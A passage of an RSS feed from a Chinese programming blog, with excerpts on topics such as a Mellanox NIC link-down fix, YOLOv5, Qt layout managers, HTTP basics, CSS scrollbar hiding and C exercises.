      <description>中兴服务器迈络思NS312网卡down掉网口物理指示灯不熄灭解决方法–NS312型号ConnectX-4 Lx 中兴服务器做网卡倒卡测试时，出现如下问题：&#xA;中兴服务器迈络思网卡，卡片NS312，型号ConnectX-4 Lx，万兆网卡在执行ifdown或ip link set up ens2等down掉网口的命令时，并不会物理down物理网口，down掉后，物理网口指示灯依然是亮的。这样的话在网卡绑定bond时，用的是model2的话，就无法通过倒卡测试。会给后期运维带来麻烦。&#xA;倒卡测试：&#xA;网卡绑定bond，如：bond1绑定的是eth0 eth1 eth2 eth3 四个网口，当排列组合down掉其中三个时，bond1要能够正常工作。&#xA;注意：&#xA;model4模式的bond不会有该问题，可以通过修改交换机的 最短时间间隔设置（交换机lacp绑定端口，启用 lacp timeout short 设置间隔时间），中兴服务器默认设置的是30秒。&#xA;为了解决model2模式的bond，无法通过倒卡测试问题，则通过物理down掉网口的方式实现。&#xA;服务器物理网口指示灯亮与熄灭是网卡固件决定，用ifconfig ethx down(协议层down)时，如果还需要关闭网口ethx的发光（物理down），需要做如下设置&#xA;步骤如下：&#xA;下载麦洛斯网卡MFT工具&#xA;麦洛斯网卡MFT工具下载路径&#xA;https://network.nvidia.com/products/adapter-software/firmware-tools/&#xA;MFT工具上传及安装&#xA;a. 将工具包mft-4.22.1-11-x86_64-rpm.tgz，上传到服务器Linux操作系统指定的目录下。&#xA;例如上传到 /home/mft 目录下。&#xA;-- 创建 mft目录 mkdir -p /home/mft b. 使用root用户解压MFT工具压缩包。&#xA;# 进入上传rpm包的目录 cd /home/mft # 解压MFT工具包 tar -zxvf mft-4.22.1-11-x86_64-rpm.tgz c. 安装MFT工具。&#xA;# 进入工具目录 cd mft-4.22.1-11-x86_64-rpm/ # 执行安装脚本。 （注：如果是非root用户，执行安装前需要先授权，命令：chmod +x *） ./install.sh --oem 如果在安装的时候，提示安装不了，则需要先在服务器安装提示缺失的应用。如下在安装 mft-4.22.1-11-x86_64-rpm时要先安装rpm-build。&#xA;# 安装 rpm-build yum -y install rpm-build 如果你的机器没有配置yum源，那么需要自己去配置一个，如果实在是配不了，也没有本地yum源包，那么就去下载一个安装吧。</description>
    </item>
    <item>
      <title>yolo5简介说明</title>
      <link>https://bchobby.github.io/posts/a667dd246e225e56741a0d3a54b29621/</link>
      <pubDate>Thu, 12 Jan 2023 15:48:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a667dd246e225e56741a0d3a54b29621/</guid>
      <description>2.YOLOv5简介&#xA;2.1 YOLOv5算法简介&#xA;YOLOv5是一种单阶段目标检测算法，该算法在YOLOv4的基础上添加了一些新的改进思路，使其 速度与精度都得到了极大的性能提升。主要的改进思路如下所示：&#xA;2.2 YOLOv5网络架构&#xA;上图展示了YOLOv5目标检测算法的整体框图。对于一个目标检测算法而言，我们通常可以将其划 分为4个通用的模块，具体包括：输入端、基准网络、 Neck网络与Head输出端，对应于上图中的4个红 色模块。 YOLOv5算法具有4个版本，具体包括： YOLOv5s、YOLOv5m、YOLOv5l、YOLOv5x四种，本 文重点讲解YOLOv5s，其它的版本都在该版本的基础上对网络进行加深与加宽。&#xA;输入端： 输入端表示输入的图片。该网络的输入图像大小为608*608，该阶段通常包含一个图像预处理阶段，即将输入图像缩放到网络的输入大小，并进行归一化等操作。&#xA;在网络训练阶段， YOLOv5使用Mosaic数据增强操作提升模型的训练速度和网络的精度；并提出了一种自适应锚框计算与自适应图片缩放方法。&#xA;基准网络： 基准网络通常是一些性能优异的分类器种的网络，该模块用来提取一些通用的特征表示。 Y&#xA;OLOv5中不仅使用了CSPDarknet53结构，而且使用了Focus结构作为基准网络。&#xA;Neck网络： Neck网络通常位于基准网络和头网络的中间位置，利用它可以进一步提升特征的多样性及鲁棒性。虽然YOLOv5同样用到了SPP模块、 FPN+PAN模块，但是实现的细节有些不同。 Head输出层： Head用来完成目标检测结果的输出。针对不同的检测算法，输出端的分支个数不尽相同，通常包含一个分类分支和一个回归分支。 YOLOv4利用GIOU_Loss来代替Smooth L1 Loss函数，从而进一步提升算法的检测精度。&#xA;2.3 YOLOv5算法详解&#xA;2.3.1 YOLOv5基础组件&#xA;CBL ：CBL模块由Conv+BN+Leaky_relu激活函数组成，如上图中的模块1所示。&#xA;Res unit：借鉴ResNet网络中的残差结构，用来构建深层网络， CBM是残差模块中的子模块，如 上图中的模块2所示。 CSP1_X ：借鉴CSPNet网络结构，该模块由CBL模块、 Res unint模块以及卷积层、 Concate组成而 成，如上图中的模块3所示。 CSP2_X ：借鉴CSPNet网络结构，该模块由卷积层和X个Res unint模块Concate组成而成，如上图 中的模块4所示。&#xA;Focus ：如上图中的模块5所示， Focus结构首先将多个slice结果Concat起来，然后将其送入CBL 模块中。&#xA;SPP ：采用1×1、5×5、9×9和13×13的最大池化方式，进行多尺度特征融合，如上图中的模块6所 示。&#xA;2.3.2 输入端细节详解&#xA;Mosaic数据增强： YOLOv5中在训练模型阶段仍然使用了Mosaic数据增强方法，该算法是在&#xA;CutMix数据增强方法的基础上改进而来的。 CutMix仅仅利用了两张图片进行拼接，而Mosaic数据 增强方法则采用了4张图片，并且按照随机缩放、随机裁剪和随机排布的方式进行拼接而成，具体 的效果如下图所示。这种增强方法可以将几张图片组合成一张，这样不仅可以丰富数据集的同时极 大的提升网络的训练速度，而且可以降低模型的内存需求。&#xA;自适应锚框计算： 在YOLO系列算法中，针对不同的数据集，都需要设定特定长宽的锚点框。在网络训练阶段，模型在初始锚点框的基础上输出对应的预测框，计算其与GT框之间的差距，并执行 反向更新操作，从而更新整个网络的参数，因此设定初始锚点框也是比较关键的一环。在YOLOv3 和YOLOv4检测算法中，训练不同的数据集时，都是通过单独的程序运行来获得初始锚点框。 YOLOv5中将此功能嵌入到代码中，每次训练时，根据数据集的名称自适应的计算出最佳的锚点 框，用户可以根据自己的需求将功能关闭或者打开，具体的指令为</description>
    </item>
    <item>
      <title>C&#43;&#43; boost库介绍以及开发环境搭建</title>
      <link>https://bchobby.github.io/posts/269f4d5d5489926a83698807cec33676/</link>
      <pubDate>Thu, 12 Jan 2023 15:16:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/269f4d5d5489926a83698807cec33676/</guid>
      <description> 一.什么是boost库 boost 库是一个优秀的，可移植的，开源的 C++ 库，它是由 C++ 标准委员会发起的，其中一些内容已经成为了下一代 C++ 标准库的内容，在 C++ 社区中影响甚大，是一个不折不扣的准标准库，它的功能十分强大，弥补了 C++ 很多功能函数处理上的不足。&#xA;二.特点 可移植性：Windows，Linux，Unix 等&#xA;开源免费：使用 Boost License 来授权使用，商业和非商业都是可以使用的&#xA;高效：具有工业强度，设计结构良好，广泛使用&#xA;三.分类 boost 库功能强大，按照功能模块分类，大致可以分为如下：&#xA;字符串和文本处理库，容器库，迭代器库，算法库，函数对象和高阶编程库，泛型编程，模板元编程，预处理元编程，并发编程，数字和数学，排错和测试，数据结构，图像处理，输入输出，内存管理，跨语言混合编程，解析，编程接口等。&#xA;四.如何使用boost库 要使用 C++ boost 库，先要下载 boost 库，下载地址是：https://www.boost.org/&#xA;选择 Downloads 下的 Current Release 就可以下载了。&#xA;下载完成后查看目录，大致如上结构所示。&#xA;boost 文件夹下是 boost 的头文件，都是 .hpp 文件，doc 是相关文档，libs 是库文件，里面有一些例子说明，tools 是 boost 提供的工具等。&#xA;如果要使用 boost 库，注意将 boost 库的路径添加到附加包含目录，如果不知道如何添加，可以查看：Visual Studio的高效使用_椛茶的博客-CSDN博客&#xA;大多数的 boost 库仅需要包含头文件 hpp 即可，不需要再链接其他的 lib 文件，但是有些 boost 下的库是需要包含 lib 文件的。&#xA;五.使用案例 </description>
    </item>
    <item>
      <title>Qt 6: 1-5 布局管理</title>
      <link>https://bchobby.github.io/posts/328f88c5c7614a70277781ac93bdaac5/</link>
      <pubDate>Thu, 12 Jan 2023 14:17:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/328f88c5c7614a70277781ac93bdaac5/</guid>
      <description>目录 作用常用属性常用布局管理器基本布局管理器水平布局管理器垂直布局管理器 栅格布局管理器窗体布局管理器 部件大小QSizePolicy布局管理器属性layoutFieldGrowthPolicylayoutRowWrapPolicylayoutLabelAlignmentlayoutSizeConstraint 拆分器伙伴关系Tab键顺序 作用 定位子部件感知窗口大小（默认和最小）窗口大小变化时自动处理子部件 常用属性 属性设置函数说明layoutSpacingsetSpacing()子部件距离layoutStretchsetStretch()伸缩因子layoutLeftMarginsetContentsMargins()距左边界距离layoutTopMarginsetContentsMargins()距上边界距离layoutRightMarginsetContentsMargins()距右边界距离layoutButtomMarginsetContentsMargins()距下边界距离 setContentsMargins(左, 上, 右, 下)&#xA;常用布局管理器 基本布局管理器 基本布局管理器分为水平布局和垂直布局&#xA;水平布局管理器 头文件：&amp;lt;QHBoxLayout&amp;gt;&#xA;效果：让子部件从左到右排列&#xA;使用方法：&#xA;在设计界面点击上方的Lay Out Horizontally或摁快捷键Ctrl + H&#xA;使用代码&#xA;QHBoxLayout *layout = new QHBoxLayout(); layout-&amp;gt;addWidget(ui-&amp;gt;fontCombox) //添加组件 layout-&amp;gt;setSpacing(50) //部件间隔 layout-&amp;gt;setContentsMargins(0, 0, 50, 100) // 离左、上、右、下的距离 setLayout(layout) //设置布局 注：设置布局代码放在setupUi()后&#xA;垂直布局管理器 头文件：&amp;lt;QVBoxLayout&amp;gt;&#xA;效果：让子部件从上到下排列&#xA;使用方法：与水平布局类似&#xA;栅格布局管理器 头文件：&amp;lt;QGridLayout&amp;gt;&#xA;效果：计算布局空间，将布局合理分为一块块类似经纬切分的小格，因此又称网格布局&#xA;使用方法：&#xA;在设计界面点击上方的Lay Out Horizontally或摁快捷键Ctrl + G使用代码 QGridLayout *layout = new QGridLayout; layout-&amp;gt;addWidget(ui-&amp;gt;fontComboBox, 0, 1, 2, 3); // 参数分别为子部件，第1行2列开始，占据2行3列 // 只有一个部件默认居中 setLayout(layout); 窗体布局管理器 头文件：&amp;lt;QFormLayout&amp;gt;</description>
    </item>
    <item>
      <title>类型转化工具</title>
      <link>https://bchobby.github.io/posts/b5989e981cb8f5947a50b0d1da92d002/</link>
      <pubDate>Thu, 12 Jan 2023 14:15:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5989e981cb8f5947a50b0d1da92d002/</guid>
      <description>也可使用：org.apache.commons.lang3.math.NumberUtils.java工具类&#xA;/** * @version: v1.0 * @date:2022/11/10 */ import java.math.BigDecimal; import java.math.BigInteger; import java.nio.ByteBuffer; import java.nio.charset.Charset; import java.text.NumberFormat; import java.util.Set; import org.apache.commons.lang3.ArrayUtils; import org.apache.commons.lang3.StringUtils; /** * 类型转换器 * * @author wangwenyong */ public class ConvertUtils { /** * 转换为字符串&amp;lt;br&amp;gt; * 如果给定的值为null，或者转换失败，返回默认值&amp;lt;br&amp;gt; * 转换失败不会报错 * * @param value 被转换的值 * @param defaultValue 转换错误时的默认值 * @return 结果 */ public static String toStr(Object value, String defaultValue) { try { if (null == value) { return defaultValue; } if (value instanceof String) { return (String) value; } return value.</description>
    </item>
    <item>
      <title>60、第一阶段学习总结</title>
      <link>https://bchobby.github.io/posts/38bcff839816e95249f99f87057fe2c0/</link>
      <pubDate>Thu, 12 Jan 2023 12:41:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38bcff839816e95249f99f87057fe2c0/</guid>
      <description>【零基础 快速学Java】韩顺平 零基础30天学会Java_哔哩哔哩_bilibili&#xA;一、因由追溯&#xA;我今年大二了，因为高考分数不够高，被调剂到冷门专业——海洋科学专业，我是这个专业的第十届学生。我最想学的专业是医学专业，但它的学习周期太长，这意味着我很久都得不到人身自由。然后我志愿就填了计算机，因为我想要掌握最核心的东西。&#xA;但是大人们都反对，因为他们觉得这个干计算机这行，30岁就意味着失业了。家里人没有干这个的，所以他们对这行了解也不深。父母想要让我去亲戚那里，找一些可靠的朋友帮忙出一下主意，该怎么填志愿。他们七嘴八舌地出主意，但没有人在意我到底喜欢什么。&#xA;我是一个很顽固的人，我不愿意往后半生都与我不喜欢的专业一起渡过。所以，我按自己内心的想法来选择了计算机。但我拿到这个学校的录取通知书时，家里人除了嘲讽，没有半点祝福，“这个专业我都没听说过”，“浪费了这么好的分数了”……我仍然记得当时拿着这录取通知书尴尬得脸红耳热，一身冷汗，说不出话。&#xA;我孤身一人跨越半个中国，从广东来到南京上学，我从未独自一人出过省。整整3个月，我和家里都没有半点联系。这还不是最大的问题，当我勉强说服自己接受这个专业，并且尝试去说服我家人接受这个专业时，我突然发现，我骗得了其他人，但我骗不了自己。一旦听到别人说我这个专业不好，我就会陷入绝望。我发现我走了这么远，背井离乡，学着不喜欢的专业，处着矛盾重重的舍友和同学，对着绝望的未来，这有什么意义。&#xA;后来我上网匿名问网友，有个网友私聊我，大体意思是，让我找到自己喜欢的专业，自学，然后尽早去实习，我给他们当“免费劳动力”，但我在他们那学习、积累经验。&#xA;然后，我就义无反顾地再次选择了计算机，这个专业自学的人多，而且也不那么看重学校、专业出身。这个时候已经接近大一的尾声了。&#xA;二、学习总结&#xA;2022年9月25号考完C语言的计算机二级后，我才正式地开始学习java，并且打算当成以后在这一行工作。我原本是一边刷计算机二级的java题，哪里不会再去学。但是我发现这样学习陌生的知识点太多，题目根本做不下去，以题目为出发点去整理出来的知识点也太零散。&#xA;然后我转变了策略，翻看到韩老师的课时，900多集的视频让我有些犹豫，这战线有点太长了。但后来经过比较，我发现韩老师的课程更合我的口味，所以就跟着韩顺平老师从第191集学到了第910集，几个项目的部分有些残缺，我想后面巩固了一下这阶段的知识后，再完善一下项目的学习。&#xA;在这个阶段的学习，最大的问题在于，老师讲得太细致，我有时会习惯性地懒得思考，所以我还是得通过习题来再巩固、吸收一下这阶段的学习内容。&#xA;二、下阶段的计划&#xA;刚开始学习时，我连网上的学习路线都看不懂，什么是前端，什么是后端，什么是框架……现在我依旧是不怎么看得懂路线，但起码下一步的学习还是多多少少在弹幕里看到过、听韩老师讲过。&#xA;下一阶段是学数据结构，依旧是韩老师B站上免费的课，期间也得上力扣刷题，还有一些计算机的操作系统什么的，也得拿书来完整地过一遍。&#xA;自学这条路最容易发生的事莫过于怀疑自己，怀疑自己是否走错了路，怀疑自己是否学得太慢了，怀疑自己是否真的能做到，怀疑自己付出这么多是否真的值得，怀疑自己是否真的蠢……&#xA;但好不容易走到这了，再回头就不礼貌了。</description>
    </item>
    <item>
      <title>微信小程序怎么在照片右上角加勾选框</title>
      <link>https://bchobby.github.io/posts/72e0e9e2cf1ea6a7d4375ad9af3ff550/</link>
      <pubDate>Thu, 12 Jan 2023 10:46:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72e0e9e2cf1ea6a7d4375ad9af3ff550/</guid>
      <description>在微信小程序中，可以使用组件 &#34;checkbox&#34; 来实现照片右上角的勾选框。可以在 wxml 文件中使用 &amp;lt;checkbox&amp;gt; 标签来渲染勾选框，并在相应的 wxss 文件中对勾选框的样式进行调整。在 JavaScript 中，可以使用 data 和 methods 来控制勾选框的状态和点击事件。详细的实现方法还需要根据具体的需求和页面布局来进行调整</description>
    </item>
    <item>
      <title>梯度消失、梯度爆炸</title>
      <link>https://bchobby.github.io/posts/e1ee3a88d67614621dffd081ad251bc8/</link>
      <pubDate>Wed, 11 Jan 2023 20:18:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1ee3a88d67614621dffd081ad251bc8/</guid>
      <description> 以下内容默认读者知道什么是神经网络，反向传播&#xA;在神经网络训练模型中，一些简单的模型往往隐藏层（hidden layer）不会太多，并且可以训练出一些效果很好的模型。但是如果你在模型中加入了很多隐藏层，就可能会造成梯度消失和梯度爆炸的问题&#xA;梯度消失 原因：激活函数的选择&#xA;激活函数有很多种，比如 ReLu，sigmoid 等。如果在一个很复杂，层数很多的神经网络种，使用了 sigmoid 激活函数，是造成梯度消失的主要原因。&#xA;下图是 sigmoid 函数&#xA;首先，可以看出，当输入值越忘正负无穷靠近时，sigmoid 值会越接近0，此时梯度也会接近0。其次，sigmoid 函数的梯度最大时 0.25，当神经网络层数很多的时候，使用反向传播计算梯度的时候，由于需要计算权重的偏导数，会连续乘上很多个 0.25，导致梯度值越来越小，最终接近 0，从而产生梯度消失的问题，而这些梯度接近 0 的权值，则基本不会在更新。 ![image.png](https://img-blog.csdnimg.cn/img_convert/865c4184ccf9a176897f3411019e3b98.png#averageHue=#fafafa&amp;amp;clientId=u27625780-01af-4&amp;amp;crop=0&amp;amp;crop=0&amp;amp;crop=1&amp;amp;crop=1&amp;amp;from=paste&amp;amp;height=285&amp;amp;id=uf6d18e9c&amp;amp;margin=[object Object]&amp;amp;name=image.png&amp;amp;originHeight=612&amp;amp;originWidth=819&amp;amp;originalType=binary&amp;amp;ratio=1&amp;amp;rotation=0&amp;amp;showTitle=false&amp;amp;size=47095&amp;amp;status=done&amp;amp;style=shadow&amp;amp;taskId=u45c445d3-96b9-4edb-bd19-e52c98ead68&amp;amp;title=&amp;amp;width=381.20001220703125)&#xA;解决方法：使用其他激活函数，如 ReLu&#xA;梯度爆炸 原因：权值初始值太大&#xA;同样，在网络层比较多的模型下，如果权值初始化值太大，会导致前面的网络层比后面的网络层梯度变化更快，出现梯度爆炸的问题。所以一般情况下，权值的初始化都使用高斯分布随机产生&#xA;解决方案 激活函数残差结构高斯分布产生初始权值LSTM </description>
    </item>
    <item>
      <title>__attribute( (section(x)) ) 在 GCC 和 ARMCC (Keil MDK) 中的使用</title>
      <link>https://bchobby.github.io/posts/8f4a1d13d57cd95cfbe7a07dadf50270/</link>
      <pubDate>Wed, 11 Jan 2023 18:18:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f4a1d13d57cd95cfbe7a07dadf50270/</guid>
      <description>通过 __attribute( (section(x)) ) 来对函数进行快速测试 先从简单代码开始，以下代码通过宏 EXPORT 来帮助我们快速定义一个 myfun_t 变量, 所以在EXPORT(hello);就定义了一个 _hello 变量, 于是我们可以在 main 中进行访问&#xA;#include &amp;lt;stdio.h&amp;gt; typedef struct { void (*fun)(void); const char *desc; } myfun_t; #define EXPORT(x) \ static myfun_t _##x = { \ .fun = x \ } void hello(void) { printf(&#34;Hello\n&#34;); } EXPORT(hello); int main(int argc, char const *argv[]) { _hello.fun(); return 0; } __attribute 宏用来设置编译属性, __attribute( (section(x)) ) 可以指定编译器将变量存放到指定的内存区域, 之后我们就可以使用&#xA;extern type_t __start_&amp;lt;section_name&amp;gt; extern type_t __stop_&amp;lt;section_name&amp;gt; 来进行访问, __start_&amp;lt;section_name&amp;gt; 代表段的起始, 是一个内置标签, 就像 int a = 12; 中的 a 一样, 它的数据类型取决于我们如何看待它, 和很多变量标签一样, 通过 &amp;amp; 可以访问变量所在的地址, 所以访问段的的起始地址为 &amp;amp;__start_mysection</description>
    </item>
    <item>
      <title>【Unity】2D游戏-愤怒的小鸟教学实战（附源码和实现步骤 超详细）</title>
      <link>https://bchobby.github.io/posts/c7c3b69ca53ea4dfb272153c3a29672f/</link>
      <pubDate>Wed, 11 Jan 2023 17:23:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7c3b69ca53ea4dfb272153c3a29672f/</guid>
      <description>需要源码和资源文件请点赞关注收藏后评论区留言私信~~~&#xA;下面我们将在Unity3D中实现愤怒的小鸟的简单版，游戏中最复杂的部分是物理系统，但是借助于Unity3D编辑器，我们就不用担心太多了&#xA;一、效果展示 先展示程序运行效果如下 运行程序可以将小鸟弹射出去 并且可以显示运动轨迹 读者可以自行优化&#xA;二、程序目录结构 Hierarchy视图结构如下 Assets文件夹目录结构如下图所示&#xA;Scripts里面存放的C#脚本文件 结构如下图&#xA;Prefabs文件夹中存放的预制体 结构如下图&#xA;三、实现步骤 因为愤怒的小鸟是一个2D游戏，所以需要在新建项目时选择2D模板 然后将资源包导入项目中，里面包含图片等资源 如下图所示&#xA;摄像机设置 在Project视图中找到Scenes文件夹 然后找到level01.unity文件夹 双击打开 设置里面的背景颜色&#xA;地面设置 在Project视图中 找到Sprites文件夹内的ground.png文件 在Inspector视图中 导入设置 将Pixels Per Unit设置为16 然后单击apply按钮&#xA;tips：之后所以的图标都设置为16 这意味着16*16的像素时游戏世界中的一个单位，之所以选择16，是因为鸟的大小是16*16&#xA;现在地面只是图像 不是物理世界的一部分，事物不会与其相撞，也不会站在它的上面，所以我们需要添加一个碰撞器，让其具有物理特性 这样物体就可以站在地面上。在Inspector视图中 选择Add Component-&amp;gt;Physics 2D-&amp;gt;Box Collider 2D组件添加即可&#xA;边界设置 创建空对象 命名为borders 同样为他添加碰撞器 操作步骤如下面所述 并且勾选Is Trigger属性 并且为右边和上面添加边界 也要添加两个碰撞器&#xA;现在需要销毁任何进入边界的对象的功能 单击borders对象 在Inspector视图中 选择Add Component New Script命令，将脚本命名为Borders&#xA;云彩设置 把cloud.png拖入Scenes视图中 重复上一步 把云彩摆到你喜欢的位置即可&#xA;击打物设置 下面我们添加一些小鸟的击打物 比如木头 石头 冰之类的 拖到Scenes视图中 都要将Pixels Per Unit设置为16 同样要添加刚体属性 选择Add Component-&amp;gt;Physics 2D-&amp;gt; Rigidbody 2D命令即可</description>
    </item>
    <item>
      <title>分支与循环语句 - 练习题</title>
      <link>https://bchobby.github.io/posts/b3af1bc0b816289a1cea159ab881f639/</link>
      <pubDate>Wed, 11 Jan 2023 14:04:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3af1bc0b816289a1cea159ab881f639/</guid>
      <description>目录&#xA;一、分支语句&#xA;1. 判断一个数是否为奇数&#xA;2. 输出1-100之间的奇数&#xA;法1：遍历1-100所有的数字，判断是否为奇数，再输出&#xA;法2：奇数从1开始，等差为2，所以循环+2&#xA;二、循环语句&#xA;1. 计算 n的阶乘。&#xA;2. 计算 1!+2!+3!+……+10!&#xA;法1：算出每个数阶乘，然后相加&#xA;法2：优化，n！=（n-1）！*n&#xA;​编辑&#xA;3. 在一个有序数组中查找具体的某个数字n。（讲解二分查找）&#xA;4. 编写代码，演示多个字符从两端移动，向中间汇聚。&#xA;5. 编写代码实现，模拟用户登录情景，并且只能登录三次。（只允许输入三次密码，如果密码正确则 提示登录成，如果三次均输入错误，则退出程序。&#xA;三、综合题（猜数字游戏）&#xA;一、分支语句 1. 判断一个数是否为奇数 if (n % 2 == 1)&#xA;{&#xA;printf(&#34;奇数\n&#34;);&#xA;} 2. 输出1-100之间的奇数 法1：遍历1-100所有的数字，判断是否为奇数，再输出 int main() { int i = 0; while (i &amp;lt;= 100) { if (i % 2 == 1) { printf(&#34;%d &#34;, i); } i++; } return 0; } 法2：奇数从1开始，等差为2，所以循环+2 这个循环只需要循环50次，而上面的就要100次</description>
    </item>
    <item>
      <title>HTTP 协议详解</title>
      <link>https://bchobby.github.io/posts/83c5cfd461da87383843ce404bc0b3b8/</link>
      <pubDate>Wed, 11 Jan 2023 09:43:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83c5cfd461da87383843ce404bc0b3b8/</guid>
      <description>目录&#xA;前言&#xA;1、HTTP 介绍&#xA;2、URL介绍&#xA;1）了解 URL 和 URI&#xA;2）URL 格式 3）URL encode&#xA;3、HTTP 协议格式&#xA;1）请求报文格式&#xA;2）响应报文格式&#xA;3）协议格式总结&#xA;4、HTTP 请求（Request）&#xA;1）请求方法&#xA;2）请求的网址（Request URL）&#xA;3）请求头（Request Headers）&#xA;4）请求体（Request Body）&#xA;5、HTTP响应（Response）&#xA;1）响应状态码（Resqonse Status Code）&#xA;2）响应头（Response Headers）&#xA;3）响应体（Response Body）&#xA;前言 什么是协议？就是一种规定，描述了通信双方要按照什么样的格式传输信息。而本文讲解的HTTP 也是协议中的一种。&#xA;1、HTTP 介绍 HTTP，全称为“超文本传输协议”，是一种应用非常广泛的 应用层协议！&#xA;应用层，很多时候需要程序员自定义应用层协议，也有一些现成的协议，供我们使用，其中 HTTP 就是其中的佼佼者。&#xA;我们日常的一些操作其实都涉及到 HTTP协议 运用，比如我们在浏览器打开一个网页，背后浏览器和服务器的交互，大概率使用的就是 HTTP 协议。此外，手机APP和服务器之间的交互、服务器之间的相互调用，也会使用 HTTP 协议，所以 HTTP协议 与我们的生活息息相关。&#xA;HTTP 协议是个最典型的 “一问一答”模型的协议！&#xA;比如：当我们在浏览器中输入一个 “网址”之后看到一个网页这个过程其实分为三步：&#xA;客户端向服务器发送 HTTP 请求 服务器收到后，根据请求，找到客户端想要的资源（一般是html），并把这个资源通过 HTTP响应返回给 浏览器 客户端收到 HTML 之后，对页面进行渲染 以上就是 HTTP 传输信息大致方式，典型的一问一答型。接下来，将重点介绍 HTTP 报文格式，也是我们学习的重点 ！！</description>
    </item>
    <item>
      <title>css如何隐藏垂直滚动条但同时需保持滚动</title>
      <link>https://bchobby.github.io/posts/7e9beaaf6a1ebaf761a43851cfa88ddc/</link>
      <pubDate>Wed, 11 Jan 2023 08:00:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e9beaaf6a1ebaf761a43851cfa88ddc/</guid>
      <description>前言&#xA;在写前端页面时,对于超出的内容,我们希望隐藏,同时保持垂直的滚动,但是又不希望有丑陋的垂直滚动条,那该怎么去实现呢&#xA;实现方式有很多种,可以用iscroll插件,也可以用css去解决&#xA;01&#xA;方法1-计算滚动条宽度并隐藏起来&#xA;这种方法主要是通过计算滚动条宽度,给隐藏起来的,如下示例所示&#xA;具体片段代码如下所示&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;wrap&#34;&amp;gt; &amp;lt;div class=&#34;outer-container&#34;&amp;gt; &amp;lt;div class=&#34;inner-container&#34;&amp;gt; itclanCoder,https://coder.itclan.cn,itclan.cn,书以启智,技于谋生,活出斜杠 itclanCoder,https://coder.itclan.cn,itclan.cn,书以启智,技于谋生,活出斜杠 itclanCoder,https://coder.itclan.cn,itclan.cn,书以启智,技于谋生,活出斜杠 itclanCoder,https://coder.itclan.cn,itclan.cn,书以启智,技于谋生,活出斜杠 itclanCoder,https://coder.itclan.cn,itclan.cn,书以启智,技于谋生,活出斜杠 itclanCoder,https://coder.itclan.cn,itclan.cn,书以启智,技于谋生,活出斜杠 itclanCoder,https://coder.itclan.cn,itclan.cn,书以启智,技于谋生,活出斜杠 itclanCoder,https://coder.itclan.cn,itclan.cn,书以启智,技于谋生,活出斜杠 itclanCoder,https://coder.itclan.cn,itclan.cn,书以启智,技于谋生,活出斜杠 itclanCoder,https://coder.itclan.cn,itclan.cn,书以启智,技于谋生,活出斜杠 itclanCoder,https://coder.itclan.cn,itclan.cn,书以启智,技于谋生,活出斜杠 itclanCoder,https://coder.itclan.cn,itclan.cn,书以启智,技于谋生,活出斜杠 itclanCoder,https://coder.itclan.cn,itclan.cn,书以启智,技于谋生,活出斜杠 itclanCoder,https://coder.itclan.cn,itclan.cn,书以启智,技于谋生,活出斜杠 &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name:&#39;curWidthScroll&#39; } &amp;lt;/script&amp;gt; &amp;lt;style lang=&#34;scss&#34; scoped&amp;gt; .wrap { text-align: center; } .outer-container{ width: 360px; height: 200px; position: relative; overflow: hidden; margin: 10px auto; } .inner-container{ position: absolute; left: 0; top: 0; right: -17px; // 通过移动滚动条,实现隐藏 bottom: 0; overflow-x: hidden; overflow-y: scroll; // 垂直滚动 } &amp;lt;/style&amp;gt; 02</description>
    </item>
    <item>
      <title>Qt布局管理器(QHBoxLayout,QVBoxLayout)</title>
      <link>https://bchobby.github.io/posts/5d2573e6a4e18856f3912922fe46a6f8/</link>
      <pubDate>Wed, 11 Jan 2023 07:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d2573e6a4e18856f3912922fe46a6f8/</guid>
      <description>文章目录 布局管理器是什么使用代码添加布局管理器QVBoxLayoutQHBoxLayout 使用ui文件添加布局管理器布局管理器的嵌套 提示：以下是本篇文章正文内容，下面案例可供参考&#xA;布局管理器是什么 可以把一些组件按一定的次序排列，这就是布局管理器。&#xA;他可以自动排列窗口中的界面组件&#xA;窗口变化后自动更新界面组件。&#xA;使用代码添加布局管理器 QVBoxLayout QVBoxLayout:按垂直的顺序排列组件&#xA;添加组件/其他的布局管理器：&#xA;addWidget(QWidget*); addLayout(Layout*); 设置布局管理器管理指定窗口：&#xA;Widget-&amp;gt;setLayout(Layout*); 设置组件和窗口一起变大变小：&#xA;QWidget-&amp;gt;setSizePolicy(); 大家可以查帮助文档，我现在列出一部分 QSizePolicy::Fixed QSizePolicy::Minimum QSizePolicy::Maximum QSizePolicy::Preferred QSizePolicy::Expanding 设置组件的间隔：&#xA;setSpacing(int) 设置组件的比例因子：&#xA;setStretch(int index,int stretch) 使用部分：&#xA;//构造函数： Form::Form(QWidget *parent) : QWidget(parent),btn0(this),btn1(this),btn2(this), ui(new Ui::Form) { ui-&amp;gt;setupUi(this); QVBoxLayout *layout = new QVBoxLayout(this); btn0.setText(&#34;Button 0&#34;); btn1.setText(&#34;Button 1&#34;); btn2.setText(&#34;Button 2&#34;); btn0.setSizePolicy(QSizePolicy::Expanding,QSizePolicy::Expanding); btn1.setSizePolicy(QSizePolicy::Expanding,QSizePolicy::Expanding); btn2.setSizePolicy(QSizePolicy::Expanding,QSizePolicy::Expanding); layout-&amp;gt;setSpacing(10); layout-&amp;gt;addWidget(&amp;amp;btn0); layout-&amp;gt;addWidget(&amp;amp;btn1); layout-&amp;gt;addWidget(&amp;amp;btn2); setLayout(layout); } //头文件： #ifndef FORM_H #define FORM_H #include &amp;lt;QWidget&amp;gt; #include &amp;lt;QPushButton&amp;gt; namespace Ui { class Form; } class Form : public QWidget { Q_OBJECT QPushButton btn0; QPushButton btn1; QPushButton btn2; public: explicit Form(QWidget *parent = 0); ~Form(); private: Ui::Form *ui; 